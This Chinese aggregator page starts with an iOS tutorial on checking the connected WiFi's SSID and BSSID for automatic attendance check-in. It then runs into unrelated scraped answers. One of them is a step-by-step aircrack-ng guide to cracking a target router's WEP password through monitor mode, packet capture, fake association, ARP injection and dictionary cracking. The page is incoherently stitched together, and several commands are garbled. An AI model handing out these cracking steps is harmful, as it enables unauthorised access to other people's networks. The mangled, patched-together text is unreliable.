iOS 通过获取当前连接的WiFi信息,实现WiFi自动考勤打卡

iOS 通过获取当前连接的WiFi信息,实现WiFi自动考勤打卡,第1张

手机连接到后台设置地的WiFi,自动考勤打卡新需求。根据后台设置的WiFi相关信息(主要是WIFI名称和MAC地址),校验手机是否正确连接了后台设置的WiFi。实现 自动考勤打卡(快速考勤打卡)

SSID 意思是:服务集标识, Service Set Identifier 的缩写,简单说,SSID就是一个局域网的名称,只有设置为名称相同SSID的值的电脑才能互相通信。

通俗地说, SSID 便是你给自己的无线网络所取的名字。

BSSID (Basic Service Set Identifier)即基本服务集标识符。一般情况下 BSSID 可以理解为无线路由器的MAC地址,通过查看移动设备连接WiFi的MAC地址即可知道连接的是哪一个路由。(BSSID = AP MAC address)。

MAC 地址也叫物理地址、硬件地址,由网络设备制造商生产时烧录在网卡(Network lnterface Card)的EPROM(一种闪存芯片,通常可以通过程序擦写)。IP地址与MAC地址在计算机里都是以二进制表示的,IP地址是32位的,而MAC地址则是48位的。

MAC地址的长度为48位(6个字节),通常表示为12个16进制数,如:00-16-EA-AE-3C-40就是一个MAC地址,其中前6位16进制数00-16-EA代表网络硬件制造商的编号,它由IEEE(电气与电子工程师协会)分配,而后6位16进制数AE-3C-40代表该制造商所制造的某个网络产品(如网卡)的系列号。只要不更改自己的MAC地址,MAC地址在世界是惟一的。形象地说,MAC地址就如同身份z上的身份z号码,具有唯一性。

点击项目进入 Signing & Capabilities ,点击添加 Capability 按钮

找到 Access WiFi Information 选项,点击添加

添加完成后,此选项会和 Push Notifications 等设置出现在一起

获取后的WiFi信息

在我实际使用中,还会出现不同样式的MAC地址,例如 a1:b2:c3:d4:f5:e6 ,此种以 : 为间隔; a1-b2-c3-d4-f5-e6 以 - 为间隔; a1 b2 c3 d4 f5 e6 以空格为间隔的;最后可能还有无间隔的。所以对此情况我做了个替换分隔符的方法。

iOS端获取的WiFi MAC地址(BSSID)都是小写的,例如 a1:b2:c3:d4:f5:e6 类型的,但是我们获取的不一定都是此种完整的,在实际使用中,WiFi MAC地址会出现类似 a1:b2:c3:d4:5:e6 一位的缺失,由于MAC地址是12个16进制数字,所以我们往缺少的地方补零即可,得到完整的 a1:b2:c3:d4:05:e6 MAC地址。

MAC地址内包含大小写,我利用 NSString+Category 统一都把它转成了小写字符串,利用字符串进行对比判断。

本来打算利用正则表达式进行判断是否是MAC地址的,但是种种原因,并没有使用,有需要的可以根据此条正则更改判断规则。

使用了 AFNetworking 中的 <AFNetworking/AFNetworkReachabilityManagerh> 库来做网络环境的判断。

关于IOS获取WiFi名字和mac地址一点心得(CNCopySupportedInterfaces() 的方法只是部分废弃,依旧可以用来获取SSID)

WIFI 考勤打卡 浅析

Wifi 定位原理及 iOS Wifi 列表获取

iOS获取当前手机所连WIFI名称

iOS-获取当前连接的WiFi以及IP地址

iOS获取当前连接的wifi信息

在iOS 12中无法获取WiFi的SSID了?别慌!

安卓教程:教你破解无线密码

用的是ubuntu系统,没用linux系统的至少要在WIN里面安装ubuntu。1、安装aircrack-ng在终端中输入 sudo apt-getinstall aircrack-ng

2 、启动无线网卡的监控模式,在终端中输入:sudo airmon-ngstart wlan0

3 、看看有哪些无线路由在工作,在终端中输入:sudo airodump-ngmon0

然后按 ctrl+c 退出,保留终端。

4 、抓包,另开一个终端,输入:sudo airodump-ng -c 6--bssid 11:22:33:44:55:66 -w wep mon0

(-c 后面跟着的6是要破解的路由器的工作频道,--bissid后面跟着的11:22:33:44:55:66是欲破解无线路由的MAC地址,-w后面跟着的是抓下来的数据包的文件名,在步骤2可以查看正在工作的无线路由的频道和MAC地址,保存的文件名可随便命名)

5 、注入破解的话要与目标路由器建立虚拟连接,再另开一个终端,输入:

sudo aireplay-ng -1 0 -a 11:22:33:44:55:66 -haa:bb:cc:dd:ee:ff mon0

(-h后面跟着的aa:bb:cc:dd:ee:ff 是自己的无线网卡的MAC地址),如果不知道可以在终端输入ifconfig 查看。

6 、成功建立虚拟连接后输入:

sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b11:22:33:44:55:66 -h aa:bb:cc:dd:ee:ff mon0

进行注入,注入破解是为了加快抓包的速度。

7 、收集15000(用Bt4破解时的收集数据的个数)个以上的数据之后,另开一个

终端,输入:sudo aircrack-ng wepcap ,进行解密。注意这里命令的文件名要和步骤4一致。

Please specify a dictionary (option -w)这是提示找不到字典

再输入aircrack-ng –w 字典 wep-01cap开始破解

8、破解出密码后在终端中输入 sudo airmon-ng stopmon0 关闭监控模式,不然无线网卡会一直向刚刚的无线路由进行注入

注意aircrack-ng里不带字典,需要将bt6里的字典或者自己生成的字典放到ubuntu的主文件夹中格式为xxxtxt

先来了解下Android如何获取wifi的信息:

WifiManager wifi_service = (WifiManager)getSystemService(WIFI_SERVICE);

WifiInfo wifiInfo = wifi_servicegetConnectionInfo();

其中WifiManager是管理wifi的最重要的类,详细请参考

>

我用自己的手机做示范吧。

1打开手机设置。

2选择最后 关于手机 的选项,打开。

3往下翻,有一个 状态消息,打开。

4这样,mac地址就可以看到了。

如果上面显示不可用的话,说明没有打开wlan,打开连接就可以了。

WifiManager wifi = (WifiManager) getSystemService(ContextWIFI_SERVICE);

WifiInfo info = wifigetConnectionInfo();

return infogetMacAddress()

详细看这里:>

登录路由器的后台即可查询到ssid了,以迅捷路由器为例介绍查看ssid的步骤:

1、路由器和电脑连接,打开电脑浏览器,输入路由器的登录地址和登录密码,登录路由器后台。

2、登录后点击路由器的无线设置,然后就可以查看到ssid了。

扩展资料:

SSID(Service Set Identifier)用来区分不同的网络,最多可以有32个字符,无线网卡设置了不同的SSID就可以进入不同网络,SSID通常由AP广播出来,通过XP自带的扫描功能可以相看当前区域内的SSID。简单说,SSID就是一个局域网的名称,只有设置为名称相同SSID的值的电脑才能互相通信。

不可直接使用JSON解析,你可以通过字符串处理先将数据转成JSON格式,然后再解析,需要转换成JSON格式如下:

network:{ ssid:"nn6yywifi1" , psk:"88888888" , key_mgmt:"WPA-PSK" , priority:"218"}

以上就是关于iOS 通过获取当前连接的WiFi信息,实现WiFi自动考勤打卡全部的内容,包括:iOS 通过获取当前连接的WiFi信息,实现WiFi自动考勤打卡、求安卓手机破解wep加密的方法、Android:通过WifiManager监听Wifi信号强弱等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!

欢迎分享,转载请注明来源:内存溢出

原文地址:https://54852.com/web/9650928.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2023-04-30
下一篇2023-04-30

发表评论

登录后才能评论

评论列表(0条)

    保存